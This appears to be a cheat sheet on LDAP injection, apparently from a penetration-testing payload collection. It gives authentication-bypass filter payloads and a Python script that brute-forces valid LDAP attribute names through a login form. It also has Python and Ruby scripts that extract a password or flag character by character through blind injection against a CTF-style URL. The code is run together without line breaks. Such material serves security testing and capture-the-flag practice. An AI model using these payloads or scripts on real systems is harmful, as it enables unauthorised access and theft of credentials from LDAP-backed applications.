LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.
Summary
Exploitation
Payloads
Blind Exploitation
Defaults attributes
Exploiting userPassword attribute
Scripts
Discover valid LDAP fields
Special blind LDAP injection
Exploitation
Example 1.
user =*)(uid=*))(|(uid=*pass =passwordquery = (&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))
Example 2
user =admin)(!(&(1=0pass = q))query = (&(uid=admin)(!(&(1=0)(userPassword=q))))
userPassword attribute is not a string like the cn attribute for example but it’s an OCTET STRING In LDAP, every object, type, operator etc. is referenced by an OID : octetStringOrderingMatch (OID 2.5.13.18).
octetStringOrderingMatch (OID 2.5.13.18): An ordering matching rule that will perform a bit-by-bit comparison (in big endian ordering) of two octet string values until a difference is found. The first case in which a zero bit is found in one value but a one bit is found in another will cause the value with the zero bit to be considered less than the value with the one bit.
#!/usr/bin/python3import requestsimport stringfields = []url ='https://URL.com/'f =open('dic', 'r')#Open the wordlists of common attributeswordl = f.read().split('\n')f.close()for i in wordl: r = requests.post(url, data = {'login':'*)('+str(i)+'=*))\x00', 'password':'bla'})#Like (&(login=*)(ITER_VAL=*))\x00)(password=bla))if'TRUE CONDITION'in r.text: fields.append(str(i))print(fields)
Ref. [5][5]
Special blind LDAP injection (without "*")
#!/usr/bin/python3import requests, stringalphabet = string.ascii_letters + string.digits +"_@{}-/()!\"$%=^[]:;"flag =""for i inrange(50):print("[i] Looking for number "+str(i))for char in alphabet: r = requests.get("http://ctf.web?action=dir&search=admin*)(password="+ flag + char)if ("TRUE CONDITION"in r.text): flag += charprint("[+] Flag: "+ flag)break
Ref. [5][5]
#!/usr/bin/env rubyrequire'net/http'alphabet = [*'a'..'z',*'A'..'Z',*'0'..'9'] +'_@{}-/()!"$%=^[]:;'.split('')flag =''(0..50).each do|i|puts("[i] Looking for number #{i}") alphabet.each do|char| r =Net::HTTP.get(URI("http://ctf.web?action=dir&search=admin*)(password=#{flag}#{char}"))if/TRUE CONDITION/.match?(r) flag += charputs("[+] Flag: #{flag}")breakendendend